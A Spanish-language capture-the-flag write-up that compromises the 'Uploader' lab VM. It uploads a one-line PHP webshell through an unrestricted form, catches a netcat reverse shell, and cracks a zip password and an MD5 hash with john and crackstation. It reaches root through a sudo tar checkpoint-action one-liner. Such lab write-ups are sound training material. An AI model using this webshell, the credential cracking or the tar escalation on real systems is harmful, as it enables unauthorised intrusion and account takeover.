Uploader

Enumeration

Vamos a empezar con un escaneo nmap para detectar que puertos corren en la máquina y con que servicios:

  1. Lanzaré un escaneo para detectar que puertos están abiertos:
┌──(pylon㉿kali)-[~/…/pylon/THL/Uploader/nmap]
└─$ nmap -p- -sS -n -Pn -vvv 192.168.1.161
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-22 19:10 CEST
Initiating ARP Ping Scan at 19:10
Scanning 192.168.1.161 [1 port]
Completed ARP Ping Scan at 19:10, 0.04s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 19:10
Scanning 192.168.1.161 [65535 ports]
Discovered open port 80/tcp on 192.168.1.161
Completed SYN Stealth Scan at 19:10, 0.99s elapsed (65535 total ports)
Nmap scan report for 192.168.1.161
Host is up, received arp-response (0.00045s latency).
Scanned at 2025-08-22 19:10:30 CEST for 1s
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 64
MAC Address: 08:00:27:79:C0:EC (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.16 seconds
          Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
  1. Vemos que unicamente esta abierto el puerto 80, vamos a realizar un segundo escaneo para ver que servicio y versión de el están corriendo:
┌──(pylon㉿kali)-[~/…/pylon/THL/Uploader/nmap]
└─$ nmap -p80 -sCV 192.168.1.161
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-22 19:12 CEST
Nmap scan report for 192.168.1.161
Host is up (0.00017s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Uploader File Storage
MAC Address: 08:00:27:79:C0:EC (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.50 seconds

Bien vemos un Apache cuya versión corriendo es la 2.4.58. Vamos a ver la aplicación web:

Vemos que es una aplicación donde podemos guardar nuestro archivos en la nube. Vamos a darle al botón donde pone Subir Archivos Ahora:

Vemos que nos redirige a upload.php y vemos un formulario de subida de archivos. Vamos a probar a subir un .txt para ver que hace con nuestro archivo:

test.txt:

test

Vemos que se a subido y podemos fijarnos que le otorga un id dd18bf3a. Vamos a hacer fuzzing con ffuf para ver en que directorio se suben y ver si existen otros archivos o directorios en la aplicación:

┌──(pylon㉿kali)-[~/…/pylon/THL/Uploader/content]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.1.161/FUZZ" -e .php,.html,.txt,.js

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.1.161/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Extensions       : .php .html .txt .js
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

uploads                 [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 0ms]
upload.php              [Status: 200, Size: 3277, Words: 1202, Lines: 114, Duration: 0ms]
index.html              [Status: 200, Size: 3968, Words: 1429, Lines: 140, Duration: 237ms]

Vemos el directorio uploads, vamos a ver si hay un Directory Listing y podemos encontrar nuestro archivo test.txt:

Vemos un Directory Listing, vemos una carpeta llamada cloud_534461. Vamos a ver que hay en ella:

Vemos el archivo test.txt!! Y si le damos vemos que tiene el mismo contenido con el que lo subimos. Ahora probaremos a subir una webshell básica en PHP.

Shell as www-data

Vamos a crear un archivo llamado cmd.php con el siguiente contenido:

<?php

system($_GET[0]);

?>

Ahora lo subiremos en la web y lo buscaremos en el directorio uploads:

Vale ahora vamos a entrar al archivo y emplear el parámetro 0 que es el que está esperando por el método GET cualquier tipo de input para ejecutarlo en el sistema que en este caso es el servidor de la aplicación web. Vamos a probar a ejecutar whoami:

Bien!! Tenemos ejecución remota de código, ahora nos enviaremos una reverse shell:

Mi máquina:

┌──(pylon㉿kali)-[~/…/pylon/THL/Uploader/content]
└─$ nc -nvlp 4444
listening on [any] 4444 ...

Webshell aplicación web:

Shell as operatorx

Bien!! Somos www-data, vamos a leer el /etc/passwd para ver que otros usuarios existen en el sistema:

www-data@TheHackersLabs-Operator:/var/www/html/uploads/cloud_1f4f7c$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
operatorx:x:1000:1000:operator:/home/operatorx:/bin/bash

Vemos el usuario operatorx, vamos a ver el directorio /home/ para ver si tenemos permisos para acceder en su home:

www-data@TheHackersLabs-Operator:/home$ ls -la
total 16
drwxr-xr-x  3 root      root      4096 Aug 19 21:49 .
drwxr-xr-x 23 root      root      4096 Aug  7 02:36 ..
-rw-r--r--  1 root      root        66 Aug 19 21:49 Readme.txt
drwxr-x---  5 operatorx operatorx 4096 Aug  8 17:43 operatorx

Vemos que no tenemos permisos para acceder a su home pero vemos un archivo llamado Readme.txt donde otros tienen el permiso de lectura así que podemos leerlo:

www-data@TheHackersLabs-Operator:/home$ cat Readme.txt
He guardado mi archivo zip más importante en un lugar secreto.

Vamos a buscar algún archivo con la extensión .zip en el sistema, para ello usaré find:

www-data@TheHackersLabs-Operator:/home$ find / -name *.zip 2>/dev/null
/srv/secret/File.zip

Encontramos el .zip!! Vamos a intentar descomprimirlo:

www-data@TheHackersLabs-Operator:/srv/secret$ unzip File.zip
Command 'unzip' not found, but can be installed with:
apt install unzip
Please ask your administrator.

Vemos que el sistema no tiene unzip instalado, con which comprobé que el sistema tenga instalado python3 para abrir un servidor por el puerto 9090 y descargarme el .zip en mi máquina:

www-data@TheHackersLabs-Operator:/srv/secret$ python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...

Ahora nos descargaremos el .zip:

┌──(pylon㉿kali)-[~/…/pylon/THL/Uploader/content]
└─$ wget 192.168.1.161:9090/File.zip
Prepended http:// to '192.168.1.161:9090/File.zip'
--2025-08-22 19:34:42--  http://192.168.1.161:9090/File.zip
Connecting to 192.168.1.161:9090... connected.
HTTP request sent, awaiting response... 200 OK
Length: 430 [application/zip]
Saving to: ‘File.zip’

File.zip                                        100%[====================================================================================================>]     430  --.-KB/s    in 0.02s

2025-08-22 19:34:42 (20.5 KB/s) - ‘File.zip’ saved [430/430]

Ahora vamos a intentar descomprimirlo:

Vemos que tiene contraseña, vamos a usar zip2john para sacar el hash del .zip y crackearlo con john:

  • zip2john
┌──(pylon㉿kali)-[~/…/pylon/THL/Uploader/content]
└─$ zip2john File.zip > hash
ver 2.0 File.zip/Credentials/ is not encrypted, or stored with non-handled compression type
  • john
┌──(pylon㉿kali)-[~/…/pylon/THL/Uploader/content]
└─$ john -w=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 512/512 AVX512BW 16x])
Cost 1 (HMAC size) is 64 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
121288           (File.zip/Credentials/Credentials.txt)
1g 0:00:00:00 DONE (2025-08-22 19:36) 14.28g/s 234057p/s 234057c/s 234057C/s 123456..cocoliso
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Tenemos las credenciales!! Vamos a descomprimirlo:

Vemos que nos crea un directorio llamado Credentials y dentro de el hay un archivo llamado Credentials.txt con el siguiente contenido:

User: operatorx

Password: d0970714757783e6cf17b26fb8e2298f

Vemos que nos da la contraseña del usuario operatorx, por el formato identifico que es un MD5, así que lo pasaré por crackstation:

Tenemos las credenciales de operatorx!!

Shell as root

Ya como operatorx vamos a ver si tenemos algún permiso SUDOER:

operatorx@TheHackersLabs-Operator:/srv/secret$ sudo -l
Matching Defaults entries for operatorx on TheHackersLabs-Operator:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User operatorx may run the following commands on TheHackersLabs-Operator:
    (ALL) NOPASSWD: /usr/bin/tar

Vemos que podemos usar el binario tar como cualquier usuario sin necesidad de contraseña. Buscando por GTFOBins nos dán lo siguiente:

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

Vamos a probarlo:

operatorx@TheHackersLabs-Operator:/srv/secret$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
tar: Removing leading `/' from member names
root@TheHackersLabs-Operator:/srv/secret# whoami
root

root! ;)